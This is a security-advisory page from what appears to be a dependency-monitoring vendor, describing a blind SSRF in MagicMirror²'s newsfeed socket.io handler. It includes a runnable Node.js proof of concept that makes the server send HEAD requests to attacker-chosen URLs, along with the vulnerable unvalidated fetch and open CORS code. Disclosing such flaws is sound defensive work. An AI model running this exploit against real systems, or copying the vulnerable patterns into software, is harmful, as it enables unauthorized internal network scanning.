Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-998g-7v5w-cr7g
Vulnerability — Blind SSRF via CHECK_ARTICLE_URL (MagicMirror² newsfeed)
Analysis of the PoC
exploit-ssrf-newsfeed.js. Target:newsfeed/node_helper.jsof MagicMirror², socket.io namespace/newsfeed.
Identification
| Field | Value |
|-------|-------|
| PoC file | exploit-ssrf-newsfeed.js |
| Endpoint | socket.io namespace /newsfeed, notification CHECK_ARTICLE_URL |
| Precondition | reach the mirror's HTTP port (no authentication required) |
Description
The checkArticleUrl() function in newsfeed/node_helper.js runs fetch(url, { method: "HEAD" }) with zero validation of the URL and returns ARTICLE_URL_STATUS { url, canFrame }.
This gives the attacker a boolean + timing oracle to map internal hosts and ports: presence, absence, and response time reveal which internal services are alive. It is a "blind-ish" SSRF — the attacker doesn't see the body, but forces the server-side request and observes the effect on the target.
The actual proof is observed on the target side (the server-side HEAD shows up in the internal service's log), since the canFrame field alone leaks little.
Root cause: unauthenticated socket.io channel + permissive CORS
The socket.io server accepts connections from any origin and with no authentication:
const io = new Server(server, {
cors: { origin: /.*$/, credentials: true }
});
The /newsfeed namespace registers the handler without checking who is connected (CWE-306). Any process or browser tab that can reach the mirror's port can emit the notification.
Exploit (exploit-ssrf-newsfeed.js)
const { io } = require("socket.io-client");
const TARGET = process.env.MM || "https://target/";
const URL_TO_HIT = process.env.SSRF_URL || "https://webhook.site";
const socket = io(`${TARGET}/newsfeed`, { path: "/socket.io", transports: ["websocket", "polling"] });
socket.onAny((event, payload) => {
if (event === "ARTICLE_URL_STATUS") {
console.log(`[+] ARTICLE_URL_STATUS: ${JSON.stringify(payload)}`);
console.log("[!!!] Server performed a server-side HEAD request to the internal host (SSRF).");
process.exit(0);
}
});
socket.on("connect", () => {
console.log(`[*] Connected to ${TARGET}/newsfeed (no auth). CHECK_ARTICLE_URL -> ${URL_TO_HIT}`);
socket.emit("CHECK_ARTICLE_URL", { url: URL_TO_HIT });
});
setTimeout(() => { console.log("[*] timeout"); process.exit(1); }, 12000);
Vulnerable target code (pattern)
async checkArticleUrl(url) {
const res = await fetch(url, { method: "HEAD" });
const canFrame = !res.headers.get("x-frame-options")
&& !/frame-ancestors/i.test(res.headers.get("content-security-policy") || "");
this.sendSocketNotification("ARTICLE_URL_STATUS", { url, canFrame });
}
Impact
- Internal network scanning / port scanning: presence, absence, and response time reveal which internal hosts and ports are alive.
- Forcing server-side requests to internal services (the HEAD reaches the target, as observed in the
mm-internallog referenced by the PoC). - Although it's HEAD (no body), it serves as a reconnaissance primitive and a trigger for side effects on endpoints that react to GET/HEAD.
References
- CWE-918: Server-Side Request Forgery (SSRF)
- CWE-306: Missing Authentication for Critical Function
- CWE-942: Permissive Cross-domain Policy with Untrusted Domains
- OWASP: SSRF Prevention Cheat Sheet
This PoC and report are intended solely for authorized security testing / research in a controlled lab environment.
Upload your own SBOM in CycloneDX 1.6 or higher (JSON) directly here to check your vulnerabilities.
Drag and drop some file here, or click to select
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability.
Limited exploitation activity has been observed. Close monitoring and planned remediation are recommended.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard